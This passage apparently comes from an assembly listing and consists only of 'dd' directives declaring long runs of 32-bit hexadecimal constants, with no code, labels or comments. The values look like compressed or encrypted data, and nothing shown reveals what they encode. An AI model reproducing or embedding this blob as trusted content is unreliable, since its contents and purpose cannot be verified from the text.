		dd 499DF48Fh, 6B869788h, 38E8A0A7h, 5C956C00h, 1815EFAFh
		dd 0C9C403A4h, 885EEC6Bh, 0FD48DC88h, 8979D43Dh, 805C2A89h
		dd 0A9013828h, 95DD1EB8h, 0C2564ED7h, 86527AC0h, 0C4012951h
		dd 0A5F8E2CCh, 0AC70F5EFh, 0F1FA54h, 0DAFA280Ah, 586BAF2Fh
		dd 60104Ch, 907EE2C8h, 78189D71h, 0E943198Ah, 30ABB091h
		dd 0A70072BAh, 18504822h, 0AC0C5Ah, 17D19314h, 4E92A24Ah
		dd 0A8A1871Ch, 0C3BB0D80h, 1F73CB9Bh, 0C9317133h, 8AFBC08h
		dd 55153A40h, 0B330751Ch, 56B4A0F7h, 38B99Eh, 63B93E6h
		dd 34EFEE25h, 29013DB0h, 4EC98976h, 352003C8h, 0A9910098h
		dd 80A4CB67h, 6862F49Dh, 2AC7B0h, 0FAFE35Bh, 9C508200h
		dd 0E4A44CF1h, 862B0047h, 19A0C4Ah, 7C969825h, 0DDD1FF01h
		dd 0F03E0A17h, 0C049C78Ch, 2B607820h, 29CEE950h, 0B9620566h
		dd 908DCA24h, 0A72FB2CCh, 4A5D541Ah, 0C9AD0010h, 7FEB29A0h
		dd 46300E52h, 9B6CC6A4h, 8FBDA50h, 80410790h, 1330788Fh
		dd 0F100D2ECh, 0CF81275Dh, 3AF2CB29h, 23002021h, 0FA75F903h
		dd 0DDE6956Bh, 11EF2700h, 2F646DE5h, 1CFD00B4h,	5430F096h
		dd 3F00DC5Bh, 0E20970F9h, 2E748DDFh, 2C1C1EA1h,	0EF6D00D1h
		dd 1F4C5039h, 98E2801Fh, 55629DC4h, 9C4038C0h, 319E0044h
		dd 6A7AEDC2h, 891D3F64h, 0F6C116ADh, 60DAB8CBh,	974BC8h
		dd 0FBB3A334h, 654384A7h, 0DF819600h, 49063FD5h, 80DE078Ah
		dd 5E9D79CFh, 7566CDE0h, 0DC1D0C22h, 30F05F5Dh,	269B7ABDh
		dd 9C3A10h, 9CD3F6A6h, 5F0741C9h, 8203AD3Bh, 64068531h
		dd 0E4DC3080h, 9E34E1BCh, 0EE28FF00h, 735C623Ah, 1CFA00CCh
		dd 8D4C1F8h, 0B40012A2h, 0AA046C23h, 2863A9h, 0A864F05Eh
		dd 531C78D8h, 0E1459F00h, 0B9D7BEA7h, 441400BAh, 4C87EC4Bh
		dd 38CE780Dh, 3043C057h, 280E93h, 3B99FD83h, 8E77BFFBh
		dd 27415360h, 3D95E487h, 1720E2Bh, 9EED765Fh, 0F0D2803Fh
		dd 521FE281h, 5C80D6F7h, 0CCFD745h, 39E6E4A8h, 6680E732h
		dd 512C8BE9h, 0E3008EEFh, 7882A4A7h, 58E54C52h,	5B010C8Ah
		dd 736CEE9Ch, 0E4123198h, 0BE000532h, 7DD51FA7h, 1FD284E0h
		dd 0C033ED37h, 0C19647D8h, 0C5EA11C9h, 56069307h, 833FE078h
		dd 0FF7FED3h, 30174E1h,	0DE2C409Eh, 6222C05Eh, 0A42EAF2Eh
		dd 0F6438980h, 0B2D010h, 2D5F21F3h, 18D629E2h, 557DCB00h
		dd 23081594h, 9E4A00ABh, 0EFD9FCFDh, 0A015D2Ch,	19A0206Ch
		dd 4C31BE74h, 793EB5CCh, 8CA44DC1h, 0AF494730h,	0D1FE871h
		dd 88E43756h, 0DD84E501h, 986CB2CAh, 6C040C07h,	7CF970D0h
		dd 20099AB7h, 206913D7h, 713B43A0h, 9309AB2h, 35BD42B1h
		dd 2056C424h, 903926CEh, 0FB27FC8h, 25E942EFh, 0C271D0E1h
		dd 1E4834C9h, 9614F712h, 0AE4EE802h, 81B5E3FCh,	20937B82h
		dd 85C901C5h, 0C01C65B6h, 18C05904h, 9F5E3ACFh,	0BD131E54h
		dd 0C6AD83DBh, 788E084h, 0D9E05385h, 41F095h, 0BEB7D36Ah
		dd 9EE3F18Ah, 0AF326B09h, 89FB8118h, 6EE4994Fh,	0EF300035h
		dd 2C345E2Eh, 0A500EC6Fh, 714121E8h, 3C3303h, 0CBE6C8A0h
		dd 926C614Dh, 0BC474326h, 42403F00h, 1808E0h, 0C3411E7Fh
		dd 67871091h, 0D7F0BB09h, 642460F3h, 114900D6h,	0DB65F668h
		dd 5E3F9F47h, 6C780EDCh, 0B680009Ch, 37A31h, 2CE8A436h
		dd 0CD1E8F7Fh, 839F9800h, 8860532Dh, 7A8C0164h,	468EC18Ah
		dd 78CC4025h, 6D1C44BAh, 0BC04A53h, 707E6E96h, 60FEE3D6h
		dd 9B32B8h, 0DF2052FCh,	3385A315h, 0A68C2F00h, 98C4482Bh
		dd 0B29E0040h, 0EBC99599h, 0E67DD255h, 3E67C000h, 588123A4h
		dd 9FD10073h, 29F0C38Ch, 4703DD6Dh, 0FBDABD5Eh,	54F7D9B9h
		dd 0E161A60h, 8B550ECEh, 0F1ADD940h, 89076457h,	0B5586F4Ch
		dd 0A06D47A2h, 0A2DD73BCh, 0BE630769h, 0F0054ECCh, 1CC00C01h
		dd 0FB0F1A00h, 9B98E7DBh, 6D38006Bh, 128BD103h,	2100AD18h
		dd 0ED62092Ch, 0F247405h, 57B1C6B0h, 0DB20BF60h, 5D00EA22h
		dd 89EC3CB4h, 0A053A082h, 1DA7ADCh, 3776F414h, 0D4D70BB0h
		dd 80024BAh, 0F6729346h, 18C2BA9h, 0B95AA35Ch, 0C0B05920h
		dd 5500C3FCh, 0E3EB6306h, 0FCCF4E3Dh, 52F43979h, 8F8CD382h
		dd 0EC44281Bh, 0F030C906h, 3F6C7A7Eh, 8D837F8Bh, 293F5295h
		dd 4CA262D0h, 0AB365B00h, 26720CEFh, 32DE1FD0h,	0E9BBC089h
		dd 9C33E5EDh, 1D69D916h, 2FD4F040h, 0D5EFB1h, 0CD5A6E93h
		dd 0E6A9E4B5h, 0F3190E00h, 4145542Dh, 6C4D01E3h, 0A3F7C1BDh
		dd 0AE3BC4A2h, 809DE43Fh, 0EC0FCC08h, 524207h, 9EB9477Ah
		dd 5E484059h, 0C0B06100h, 31829179h, 0BCDB0024h, 0D4197CA2h
		dd 994CF2ABh, 661C002Ch, 9D2C6202h, 447D00EFh, 6550D274h
		dd 0E9073ACCh, 8D9E22BCh, 2CAF9140h, 99B9007Dh,	0F61C9F76h
		dd 0E00B67Bh, 45D04D65h, 0B4E562h, 0A5D97C12h, 0E99A7105h
		dd 5D60A49Eh, 0EEE9697h, 0EDB89E06h, 0C8F23A20h, 6B00D58Ch
		dd 0F1A5EA13h, 72611C2h, 393673E0h, 4FE3E0A7h, 0AD13CBB0h
		dd 4B0074A3h, 0A6251BC9h, 0D4F100A9h, 90707C81h, 0C102EB7Bh
		dd 0E31D08A7h, 0E9484866h, 0A13A01E1h, 823596E5h, 0B41EDCF0h
		dd 81EEF73Ch, 0FAACBD83h, 0CFCC6462h, 0B51F000Fh, 94B836D3h
		dd 4248AFDCh, 0F90D00D0h, 0F1CC07E5h, 0E82F12C1h, 0C2500048h
		dd 0A4D49C13h, 0A21DB901h, 0C3EC8B11h, 23CDFCh,	0EAA5F2EDh
		dd 0E8FCD120h, 70989D00h, 0A96021C8h, 0B89C4C1Dh, 0EA0313h
		dd 0D66FA6A0h, 9975683Ch, 0E1098800h, 0AAED87A9h, 34009511h
		dd 57C722FBh, 9D36980Bh, 0BDEC000Ch, 0D4889Fh, 0D65FDB0Bh
		dd 0D1837E32h, 0A1F95D00h, 0FC8EC770h, 231202DEh, 0A26C330h
		dd 0A5E9BEE0h, 6FC9F601h, 7999E8B6h, 4A4AB2F0h,	0FD70008Fh
		dd 0D7447C80h, 6B6D8400h, 55E6C059h, 4D51883h, 27F880BCh
		dd 88B25401h, 0D3011365h, 1100EC6Dh, 52B0364Dh,	0F0028198h
		dd 5861BFC4h, 0BCC3D58Ah, 796FF9A8h, 0D0B05EF2h, 0F002C74h
		dd 0DE291C9h, 3EFA64Ch,	0DF13C325h, 82CCC7D6h, 6CC9A3FCh
		dd 6F30E8DEh, 25959200h, 905F8547h, 0D38100B0h,	3F8CDA07h
		dd 6A038442h, 9941C02Eh, 0C57087E2h, 0E62CCEBh,	122513E0h
		dd 858131E0h, 790293BCh, 10284773h, 7D808292h, 41869F1h
		dd 3E70032Bh, 90BFCA65h, 8E1F3C84h, 0D3A27817h,	92E53300h
		dd 0BCBA537Fh, 0CB8F0060h, 11D734B6h, 40C30350h, 804EE328h
		dd 0D25FC177h, 0AB3DF040h, 4B7EDCCBh, 55F420EDh, 0C6003843h
		dd 6A0741D8h, 774986D4h, 743600F5h, 0DD029518h,	76002BC1h
		dd 6A8D83A3h, 0E8F1E61Dh, 19321DBFh, 0C98A07DAh, 0F68EE0F7h
		dd 0A255896Ch, 3A0FD0A4h, 71AD39h, 0B745BFEFh, 0CC832Fh
		dd 75F178D4h, 8FA329DDh, 1CD61000h, 0DB623AC0h,	0B4E4398Ch
		dd 9D1B1400h, 0B0033877h
		dd 0AFABB200h, 0C696530Ch, 888E005Ch, 65A2F798h, 4D00F434h
		dd 4E5447BCh, 44FAE7Dh,	0B48B1F9Ch, 0FAFCD030h,	0B01D8563h
		dd 6AC084BEh, 0E2801841h, 7EFD00F3h, 87396112h,	0A100A638h
		dd 3E13C945h, 1376DBEh,	2CFEA99h, 0EC7BFB0Ah, 0B028E2FDh
		dd 9D2FE093h, 23188020h, 0F9C94Dh, 2534C65Eh, 3E17E476h
		dd 82D8AE00h, 0C5655273h, 33A00532h, 0C0B3D29Ah, 91D66D7Bh
		dd 21B23700h, 0C35FA7D0h, 0E1E0A057h, 0FB380027h, 3F1D716Fh
		dd 0A9004BEBh, 0BCE30DDEh, 2F2C0A4h, 0F477A2E9h, 2CC0EC6Dh
		dd 611209AAh, 0C0B05FF9h, 8120003Bh, 22DCDB3Fh,	1B00FDB0h
		dd 10A26182h, 1CC0989Ch, 473060B7h, 0B62FAEFEh,	0D200185Eh
		dd 4B4606E2h, 0EC6EC90h, 88A3DEE8h, 8A84B2C0h, 0E6767CCEh
		dd 532EA813h, 589E0400h, 0AEE111h, 0F1143ED0h, 354BB0E7h
		dd 65512D03h, 0B839BF0Eh, 0F370C145h, 2F2E1021h, 0E2928000h
		dd 0F7EA918h, 0C331FCEAh, 0F0A66140h, 0AC009CDFh, 7C166076h
		dd 794A35h, 9E6B29C2h, 0D98FDDE8h, 0C8EE8100h, 0A84D7EF9h
		dd 12790098h, 2F1B9549h, 0DA0E86CFh, 0A07C73C7h, 0D7256B26h
		dd 0E67E0789h, 0D04679ABh, 9751FFDCh, 0F6B5E10Fh, 729EE0FCh
		dd 277C4C6h, 3355486Fh,	4B403B07h, 7A0353C1h, 1BBC0E8Eh
		dd 0B545E1ADh, 7259E4h,	8AB85C13h, 931F54B0h, 3BE9700h
		dd 666D3599h, 2AC51EA3h, 0F800BFB7h, 122CF5A8h,	470023E6h
		dd 0FBBD3AB1h, 0B8F70613h, 9DC50057h, 0A8B0C353h, 8B70906Bh
		dd 0D2638A07h, 0B270F918h, 0CA520B1h, 5A2BED19h, 550C6FF1h
		dd 11F1D681h, 71DA0744h, 90800F45h, 0F6471287h,	998D1500h
		dd 0C3566278h, 416D0EF8h, 0E920B598h, 0BFD4671Eh, 5C225B00h
		dd 6D4315AAh, 0BAB60029h, 0AFA5F389h, 40A58CDh,	0A0CF6A8Eh
		dd 1E820039h, 116CE3Eh,	5DF306A2h, 118B79F0h, 0D17F4F02h
		dd 174485h, 8309765Ah, 0C7588B00h, 8C343571h, 0BFD30073h
		dd 0D15E3603h, 0A43EADDDh, 35FF809Bh, 8ED7EA0Ch, 0F1D80002h
		dd 2B18C1FBh, 69078412h, 8503D046h, 20F84440h, 8E790240h
		dd 0E6C58A1Ch, 433B84A0h, 0CE779FD9h, 7B71C000h, 0EAAE8F4Dh
		dd 30426093h, 0FD069945h, 0A3E781Eh, 6E502481h,	51823A29h
		dd 0A203CD02h, 20A9B143h, 9E93C426h, 0D1127B00h, 1B907FE8h
		dd 0DA900B1h, 9D7043E0h, 0B06EEB3h, 7927B9D8h, 0E608F020h
		dd 99330084h, 0DC407D2Dh, 0CF00229Ch, 20173849h, 5CBD82ABh
		dd 94035CA0h, 968F8DEBh, 7C482900h, 64841463h, 3A6C1E2Ch
		dd 6AC5C417h, 89F0808Bh, 0A0010C8h, 0ED73AE29h,	0B021E0F1h
		dd 9AC14CAh, 0CD00FC6Ah, 0D048F87Ah, 0CB5CC823h, 90DB00BBh
		dd 70D68A1Dh, 0C62900CFh, 483D47CAh, 0B271A910h, 3DE9A73Ah
		dd 89150076h, 916660AAh, 3C59005Bh, 0F6B44210h,	58002C19h
		dd 2B3E67E3h, 0E60A202h, 56721FD7h, 80B12660h, 0B9037D4Fh
		dd 0DA020EE1h, 5DDB8A3h, 69E700ADh, 0BB3F2D67h,	4C06E97Ch
		dd 0E6658942h, 6CF50748h, 6F80B8A0h, 0C4F7B6C0h, 63006EF2h
		dd 7D10471h, 2BE89Bh, 0C393BB70h, 3CC07959h, 0D8D7E200h
		dd 1825E20h, 0EA340075h, 872A8D9Bh, 0A6026879h,	0C7895C66h
		dd 54CC4026h, 48850010h, 0D2802392h, 0E8009A87h, 0A0CBF362h
		dd 0E846C80Ch, 2A16007Ch, 2486442Dh, 207FB251h,	0C73F9B0Ch
		dd 18B041h, 0A193D3CDh,	0B3158A92h, 0B23D500h, 9DC4ECDCh
		dd 47A70082h, 2190DAFEh, 9B00D29Eh, 0C7288515h,	0A0F7C1h
		dd 24F82E78h, 0FFE3A6BAh, 4D7C0F01h, 451743CFh,	0D0D74821h
		dd 0F0B3DDC1h, 58351298h, 3DC00D9h, 0D7CB2662h,	35F8348h
		dd 0C1955999h, 0B6C9B9A5h, 162420h, 178E55D3h, 7774EB1Dh
		dd 3972C0ECh, 0EC030700h, 79CA7631h, 91D21D2Ah,	1C84E89Bh
		dd 800EAA50h, 456CE156h, 5398CA14h, 8E78B600h, 82E0901Bh
		dd 0E5DF090Ch, 0DC012886h, 40EDCF76h, 0C06AAAB7h, 0F0751300h
		dd 46502FC1h, 937B0035h, 994AFA25h, 0F300421Ah,	0FF6A8CC4h
		dd 185930BBh, 0D86E3F36h, 0E3F022BEh, 7FC4EF00h, 1B4720C0h
		dd 7D260721h, 76D8893Ch, 393FA888h, 0F5CE94BFh,	3BCF0F84h
		dd 0B01CA0D0h, 60EC4Ch,	691D1967h, 0A01F2D6Eh, 1307AF00h
		dd 9D57E2BFh, 0FB7899h,	85F70BF1h, 0E594535Bh, 80069E3Eh
		dd 0F076B6D4h, 0F0CF8AA9h, 50B2FAh, 3FCCE2DAh, 51582873h
		dd 82B09401h, 796A6DF9h, 0EA2A8F8h, 0CF9EBB32h,	6E3E005Eh
		dd 40BE63A4h, 0B5623605h, 0F04896E5h, 0D0858733h, 87BEE082h
		dd 19003867h, 3683CA94h, 4DDC8D2Bh, 0EE00F8A3h,	67854A15h
		dd 4F05ADC8h, 0C4653BBFh, 6AF8D400h, 60426B87h,	915CA8F1h
		dd 3A00F07Fh, 0E63B88Dh, 922A879Dh, 0B3EA0274h,	54B5E5FCh
		dd 0A0911F60h, 69FEE1C3h, 0B0DE90DDh, 20AF00A1h, 6BC9D32Bh
		dd 0BA000132h, 0CF3066Fh, 0F2790DCh, 9B3EECABh,	962617E1h
		dd 0F6A13E28h, 143070E5h, 33B500DAh, 1E56B5Eh, 881E8114h
		dd 6FD86304h, 8F7E20h, 0AACB19ACh, 7DF882DFh, 99076C90h
		dd 1CEE63B9h, 5E471720h, 9BC0EEBh, 6720FD39h, 0D676E484h
		dd 847249h, 0B4356594h,	306C4A26h, 1AE97838h, 0BE00F52Ch
		dd 0EA80D4EFh, 3064300Bh, 0C5C00E13h, 373CBFF4h, 72D200C3h
		dd 0BBCF1D2Eh, 5460117h, 5987C51Bh, 7EE9F4EDh, 1095C018h
		dd 0E768A38h, 62DE5A3Fh, 27A6580h, 4011AC5h, 90FFD7A2h
		dd 0B8D3307Fh, 174B22h,	7C3C1EC3h, 64233DC7h, 0D0880912h
		dd 501BA80Dh, 4B2890CFh, 0FC4700C1h, 4C7B998Fh,	0C20E423Fh
		dd 0A241A72Fh, 0C0EB22EEh, 3F1553BCh, 5D80DA9Fh, 711FC20h
		dd 0C7A05F68h, 0ED006ED5h, 0D8704F33h, 0FD493Ah, 0E86ACC6Bh
		dd 0D4CDAA14h, 8D56600h, 5B705E73h, 0C5E04Eh, 1422DD2Dh
		dd 873C6753h, 0E1C6A801h, 2A2F52E0h, 45806AB8h,	35AE4F5Ah
		dd 860157CAh, 3094DFF5h, 9FC01A82h, 187600B1h, 0E43839BCh
		dd 60028F13h, 0D0E70A78h, 140D573h, 0AD1890D8h,	0EDAE4FF2h
		dd 0B5DD0056h, 0F7E8C850h, 0D6E6D5F9h, 94091F00h, 0AFCFABAEh
		dd 5EC400ADh, 0F35C8CEEh, 89C0B5E2h, 0B2C1D428h, 56F0054Dh
		dd 844113h, 0EB89A5C9h,	8700B30Eh, 0D5E73CAAh, 3E5BFD46h
		dd 9280EACCh, 1C67284Fh, 12717FCFh, 0BF95E1Fh, 605A3C4Eh
		dd 0C7134756h, 92F00050h, 8DE00126h, 0A63059CCh, 115428FCh
		dd 6020F29Ch, 92CA10FAh, 0A119F155h, 1BC819FCh,	0CE6CCCh
		dd 0E2298E22h, 3CD45064h, 0E3742B73h, 0ACE87500h, 49BB47BDh
		dd 7CAF1413h, 9900C01Ch, 74078D6Dh, 0D403FFC0h,	3CE9D03Eh
		dd 45E905D6h, 207F8BD1h, 99867120h, 578C8354h, 60BEE200h
		dd 0C1F346Bh, 0A2560F27h, 106020E4h, 1947DE74h,	86D9B700h
		dd 98C0B95Ch, 61D56325h, 0DC80EDEFh, 0C270E8C6h, 0EFBA200h
		dd 0BE76A119h, 8D2C0072h, 7AB369C4h, 7700A628h,	78257D39h
		dd 0B71F46Fh, 0CC5BFC0h, 40514985h, 0EEDA44B4h,	0D600CB3Eh
		dd 2E4A2A9Ch, 0ED11A3h,	157157A0h, 3C6A505Ch, 0DF602426h
		dd 2A6A800h, 90910F14h,	51080F70h, 0ED21788Ah, 80C0FDC4h
		dd 0D54AC819h, 50660F88h, 1B1FA013h, 21873283h,	542B8D88h
		dd 0E3789901h, 0B8B7DB4Bh, 0B0D830h, 387E0F33h,	20AE2E34h
		dd 7B40EE00h, 36BF66B1h, 3D2EC4Fh, 7F2CE05Dh, 0A5B5CAh
		dd 665E5C90h, 0F9EE773Dh, 48676B01h, 0E4DD4033h, 3574D8h
		dd 0DCAB03C0h, 0AE4A6A73h, 0CEFC5500h, 0D2FACB0Ch, 0E608098Ah
		dd 90081451h, 74AE04C4h
		dd 929A8368h, 0A34C29B0h, 0CC46BA0Eh, 80140079h, 47F634h
		dd 0F4972763h, 6B2D57C9h, 9E426900h, 7C8E7A22h,	4F7128B1h
		dd 21791EC4h, 11607E7Dh, 0DED53764h, 1E119305h,	0C2C0EB0Dh
		dd 5779783h, 6A697909h,	0F9AAC0B2h, 0B900B739h,	0B816474Ch
		dd 0AD7FC9h, 0F740C160h, 0F607E813h, 7DC0A809h,	87580068h
		dd 7CE51Dh, 5ECD5A31h, 0F9C06ECh, 649F0300h, 4DDC3B07h
		dd 81B00775h, 70711E09h, 0DA2183C5h, 5EC09500h,	789D7233h
		dd 563D03C8h, 4C2EFB58h, 0F03E8991h, 0AB03A9Ch,	354DD300h
		dd 0F369CE56h, 24DFB834h, 80DC5B17h, 97E85F43h,	0D0001B1h
		dd 1B3135E9h, 0DAFA2Ch,	3B549FECh, 0A587438Bh, 0CE815B00h
		dd 8479907h, 0EEBE0341h, 9CD129Fh, 0A66C80B4h, 0E70038FDh
		dd 7E5B113h, 721FAFh, 41588252h, 56AC9B80h, 96899C00h
		dd 269EA717h, 12451E62h, 0A82B8007h, 30AC39A4h,	23E49312h
		dd 5A4C4Bh, 44AEF120h, 6C2D0059h, 64FBD9B4h, 390023FFh
		dd 7566B8A5h, 0F9F627h,	4E5D492Ah, 0B223759h, 39E9D501h
		dd 44B5D164h, 0DC0020h,	183EF3C8h, 0E85C127Eh, 0CF4AE900h
		dd 0DF071003h, 48F445h,	0C25E45Eh, 41650668h, 30AB7700h
		dd 6DC41C50h, 0FF9838FDh, 0D61D300h, 0CBBD6FB6h, 1B008BFEh
		dd 45391357h, 0F93B85h,	0F330CA52h, 817B4256h, 62AD7900h
		dd 87771CABh, 0D14703B6h, 3CC28BC1h, 4E9A00DDh,	972A6CDFh
		dd 42C4A600h, 44BBDAC0h, 6EB0A43h, 808C83DDh, 0B50F62A0h
		dd 0D0E02FF1h, 3100847Ch, 8EE5D71Dh, 1A67035h, 19656983h
		dd 30368C10h, 3F00BF26h, 17F8D9A7h, 2C129375h, 149B6974h
		dd 6B00EA62h, 19C2A9B3h, 0EB003EB9h, 0BB0F95D1h, 58DAA4h
		dd 0E647965Bh, 2CB91ECDh, 133B49C1h, 6820219Dh,	1E547E71h
		dd 668C4DC0h, 78760058h, 0EC3A9A8Dh, 60CC7E00h,	584B3BB3h
		dd 2DEA92h, 7B3F7553h, 41D195A6h, 509BAE1Ch, 0EC119FC0h
		dd 261D6B07h, 70DF3Fh, 9278E314h, 0BE0E15A1h, 0E0B0F179h
		dd 8965DB47h, 87931E2Fh, 8381C021h, 40BAADF6h, 0EC883130h
		dd 2EF451C5h, 8E106092h, 0AFE2E27Eh, 9C402AC0h,	2950D23Dh
		dd 1A030692h, 9EC76F9h,	310FA804h, 0A716003Ah, 4324911Dh
		dd 9F05BC57h, 61DDD3E9h, 0F4B80BFh, 9027DA70h, 9674CCh
		dd 50E63476h, 1E006C77h, 0EBC210ACh, 4EE262h, 6B90745Eh
		dd 2BD512EAh, 52766806h, 39F23002h, 0A4802465h,	0E849C9CEh
		dd 392E0672h, 38374423h, 0FE66A8F0h, 0BA9C00ECh, 0E76EAC34h
		dd 0B6032A5Bh, 446B5FB2h, 0BF4F9842h, 9064F99Ch, 247C00D0h
		dd 791B1175h, 0D30EC910h, 0C0359E1Dh, 9C7E6C3Bh, 0F15900B1h
		dd 565CAEADh, 8700FD54h, 0C1E522E2h, 1CFE2Eh, 0CCBF6E04h
		dd 0C76A84Ah, 37F6B300h, 0F7330D56h, 750E0794h,	31B0D6B2h
		dd 0C7642C1Ch, 7CA68009h, 4902D5F0h, 98E31056h,	640297E0h
		dd 4FE8911Eh, 0E89C341h, 105252E7h, 6080406h, 37D4F89Bh
		dd 8C20F6C3h, 0A4009D18h, 0D3A58F5h, 3EACDEh, 0ED61A75Eh
		dd 0E6CDC39Bh, 58A22000h, 502CBE90h, 491C0A9h, 0B2F97F0h
		dd 76D91006h, 2CA2E7E5h, 1B0944Fh, 0D7DA04A7h, 66A05058h
		dd 59019156h, 483CCB49h, 4FC02951h, 0D09D004Eh,	0F0EFE02Fh
		dd 91FEDD7Ch, 396BEC30h, 3F105CE8h, 0D8830CA8h,	0B2C2DD04h
		dd 0D2C473C8h, 0FFF2DB00h, 576825F3h, 0EAEB3DE4h, 6E8DF480h
		dd 5C482CD1h, 10CBD403h, 3F0A22FAh, 119D9F18h, 16DFA8h
		dd 0A25C84D7h, 0F66076EBh, 252CCC20h, 1080C366h, 16325118h
		dd 607C3006h, 7228BCD6h, 1E7D1BE8h, 4010186Ah, 290FFC15h
		dd 3400A664h, 9D6D4FA1h, 0B77E9510h, 9015533Fh,	8F00D00Fh
		dd 9E045732h, 0BEFF3E25h, 95535F0h, 8929000Dh, 0C0488760h
		dd 0EEE7C251h, 116476DAh, 1CFF7DD1h, 772C8782h,	4E41CC3Bh
		dd 0C8B6A802h, 0A15FAF0Bh, 0EBE9E7A8h, 0BBE5A07Bh, 5261CCB8h
		dd 5B96E298h, 68120BE8h, 6060E4h, 8633BBB4h, 21009118h
		dd 4350D72Ch, 4DA5AAh, 0AD634E3Ah, 7A3DAC35h, 6210B100h
		dd 25C145E3h, 365A16C6h, 8FC80091h, 1D47F5E7h, 2AF1401Eh
		dd 23753582h, 8173E07Bh, 74EFA9Eh, 86791A2Dh, 3A7E9041h
		dd 3D00DA39h, 0E64293F6h, 1E872DE1h, 0FF9FF0D3h, 4A3C007Dh
		dd 0ED544035h, 4B3EF359h, 86BD803Eh, 232B3932h,	0B5FA005Eh
		dd 40556422h, 0B00145Dh, 0CB442D95h, 3542CAh, 0DC654A8Bh
		dd 0E23EFBF6h, 407C9E4Ch, 290A2284h, 0A8172499h, 20F1F480h
		dd 0C7F89B5h, 6F91100Ah, 21CFA608h, 3027804Ah, 3F34F4B7h
		dd 6B023F2Ah, 99F259Bh,	68810040h, 2CACC210h, 55731400h
		dd 0B4A4DE5Dh, 0AE10F01Dh, 340873h, 5D9C6521h, 941FE1F8h
		dd 0E538B50Fh, 328BE3ABh, 471AE90Ah, 40625020h,	4A61DB78h
		dd 11E12038h, 189B2424h, 2082CE8Dh, 0BA24EAE8h,	1C181C01h
		dd 12BB2B21h, 0FEDCBDAh, 0E783C144h, 21006901h,	74D7B507h
		dd 3BF0CFDDh, 8E6E62Fh,	0A83C2112h, 806880CDh, 50A2E7B9h
		dd 42BEED0h, 728D9A38h,	0DAB49007h, 78C1A66Ah, 0B6F6B585h
		dd 18298848h, 100D131Dh, 240020A4h, 0B897C2C0h,	0E0C1616Ch
		dd 4C72E7h, 0A5B57D59h,	0A4D7A2E3h, 0AA7BE100h,	9B71BC60h
		dd 717E8CDh, 945F9666h,	63A40033h, 6C0026F5h, 761101C1h
		dd 0F0CCE7Bh, 8E21179Ah, 23FA29C0h, 9F000D46h, 0F42A32Fh
		dd 0AD5235h, 6BBFC9B2h,	0BD592751h, 0E900E290h,	1AEB553Dh
		dd 439F61h, 3F58C5FBh, 1C6D2BB7h, 8002853Bh, 3E0FEADh
		dd 64D01Fh, 60F06637h, 8DBC5A6Bh, 0A11ACC00h, 0F72DF3ACh
		dd 957BCBh, 0BE9B49D5h,	20BA1E86h, 7A367100h, 128F8B97h
		dd 787FC1Ah, 611F0D18h,	7D18AC58h, 0D7969400h, 3F81319Ch
		dd 0D04338C0h, 4056E01Dh, 70977DC5h, 49C07F09h,	0B5DF05F8h
		dd 0C1DB3687h, 0AF061840h, 8E7716F2h, 0C3927A10h, 38E1C519h
		dd 0DD4AABD8h, 0E000CA78h, 0C09E0DBAh, 0F7796008h, 99F8FFD1h
		dd 0A28900E3h, 447157E0h, 0C1006F2Fh, 3CD77096h, 7043E02h
		dd 0E7EE8DEh, 3083260Fh, 0D6076EF8h, 109771D1h,	9E4AC3h
		dd 0D9295C18h, 59D38BF0h, 0F3958406h, 0A172F2h,	7BB2BA71h
		dd 511D07B1h, 822CBB00h, 0C51EA643h, 8B921C10h,	7890EA58h
		dd 0F33F0393h, 5B781FA8h, 4DCDE8C8h, 200B172h, 43FE1767h
		dd 0E9260h, 81C26299h, 5BBDF47Ch, 0F7781D00h, 403D4D63h
		dd 0C07E005Ah, 0A2BCCBE4h, 2E0024DAh, 0C367F383h, 5CD3D1h
		dd 8A95AF27h, 3829E07Ah, 0BCD42D07h, 6660F516h,	79753089h
		dd 46D8034Ah, 2FC47640h, 6F4C080Fh, 0F773A06Bh,	0DFE7B4h
		dd 0D5EE616Dh, 4DAD7C7Fh, 78A8A400h, 83492BE6h,	709A00FCh
		dd 2623B6A3h, 2860D48Bh, 1C90AA49h, 3E220056h, 63E3A8F1h
		dd 0F064F31h, 3DF9DC28h, 1101E18h, 0AAFE431Eh, 23EBECE0h
		dd 0E8B13103h, 0E1A5883Ch, 900EAB4h, 0C00E3642h, 6A831A4h
		dd 2649FD14h, 3FA2D6ACh, 9AA5BD80h, 0E3F0E4CDh,	44476230h
		dd 0D3CB67h, 8CAEBCF1h,	0BF53C7DAh, 0C3C6F800h,	6D59084Ah
		dd 0DE710B6Bh, 9482939Fh, 0D4604E1Eh, 0A200E865h, 0A09057C3h
		dd 510975h, 8E741FD2h, 9B279736h, 9DACB400h, 13CF7604h
		dd 90C5283Dh, 2D9A0F04h, 55809172h, 6CD23C9Eh, 3E12E900h
		dd 2277D676h, 919007F8h, 5035A29Ah, 3BBFADD0h, 428629C8h
		dd 9E24DCA3h, 12410921h, 0E46E105Ah, 814F8A88h,	10E7FCDEh
		dd 1EFB3600h, 2ACAA379h
		dd 6243005Eh, 9B7E85AFh, 8007114h, 0E8DA57A2h, 2620F775h
		dd 38E7A113h, 0AAD62D00h, 980CF13Dh, 910061E0h,	0EC31FD3Ah
		dd 606C49A1h, 7B4BF092h, 3500E083h, 229E24C4h, 0E7658D3h
		dd 0E15B6679h, 0E9875080h, 641D1983h, 0A4409162h, 4BE0D5F3h
		dd 0CDDF00BAh, 7A857E0Bh, 120F5D39h, 2EF001h, 0AB55F1DDh
		dd 0ACBF0036h, 317F3A73h, 9D30B59Ch, 0FDF210B4h, 0CB0900F4h
		dd 2491B0B6h, 250E3D28h, 80D626DCh, 5B877332h, 129D00E0h
		dd 0FDD292B1h, 6F073370h, 1C5A90D6h, 287BBEC0h,	15B800CFh
		dd 115F3622h, 0D5003D88h, 0F88D57F3h, 93B9BBh, 0E5B7929Fh
		dd 0C046C410h, 0AC5E7B00h, 52FF82F0h, 0ECB51F49h, 15568027h
		dd 0C16AEA4h, 76729200h, 0BC674EA9h, 6A180066h,	0A22AFE58h
		dd 0DB025D5Ch, 39A199DAh, 903E6055h, 24E6F045h,	2077F8h
		dd 0F1941636h, 2B00B5A9h, 5E815843h, 0A09FB08Fh, 4E26E0h
		dd 0C51F3DB7h, 8C6961FBh, 0D7F23918h, 74565Eh, 0E9BECF0Fh
		dd 71C4C015h, 0E48AEE28h, 97505500h, 0E1529F99h, 0A84103BEh
		dd 58F7454h, 951FDFB0h,	0DE19F407h, 164F4BAEh, 326BB200h
		dd 328095Fh, 82CBF81Eh,	81D23F80h, 5800C88Bh, 0F1ECBE90h
